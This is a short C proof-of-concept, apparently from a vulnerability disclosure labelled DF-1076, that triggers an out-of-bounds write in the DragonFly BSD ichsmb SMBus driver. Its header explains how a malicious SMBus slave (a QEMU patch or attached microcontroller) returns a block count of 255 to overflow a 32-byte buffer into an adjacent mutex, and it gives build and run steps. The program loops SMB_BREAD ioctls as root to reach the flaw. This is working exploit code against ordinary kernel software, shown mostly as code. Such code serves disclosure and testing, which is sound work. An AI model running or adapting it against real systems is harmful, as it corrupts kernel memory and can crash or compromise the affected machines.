/* SPDX-License-Identifier: BSD-2-Clause
 * DF-1076 PoC: ichsmb block-read count OOB write.
 *
 * Triggers the ichsmb_device_isr block-read path against a malicious
 * SMBus slave that returns count > 32, overflowing sc->block_data[32]
 * into the adjacent struct lock mutex and beyond.
 *
 * PoC has two halves:
 *   (1) Malicious slave: see malicious_slave_qemu.patch for the QEMU
 *       hw/i2c/pm_smbus.c change (or wire an ATtiny/Pico to the SMBus
 *       DATA/CLOCK lines).  The slave returns ICH_D0 = 0xFF (count=255)
 *       and streams 255 attacker-chosen bytes.
 *   (2) Trigger: this program.  Runs as root on the DragonFly guest,
 *       issues SMB_BREAD in a loop against /dev/smb0.
 *
 * Build:  cc -I/usr/src/sys -I/usr/src/sys/dev/smbus/smb \
 *             -o trigger trigger.c
 * Run:    sudo ./trigger
 */
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

#include "smb.h"

int main(void)
{
    int fd = open("/dev/smb0", O_RDWR);
    if (fd < 0) { perror("open /dev/smb0"); return 1; }

    struct smbcmd c;
    char out[32];

    for (;;) {
        memset(&c, 0, sizeof c);
        c.cmd    = 0x00;
        c.slave  = 0x50;           /* typical SPD / malicious-slave address */
        c.rcount = 32;
        c.rbuf   = out;
        /* Panics on the first iteration if slave returns count > 32. */
        if (ioctl(fd, SMB_BREAD, &c) != 0) {
            perror("SMB_BREAD");
            break;
        }
    }
    close(fd);
    return 0;
}
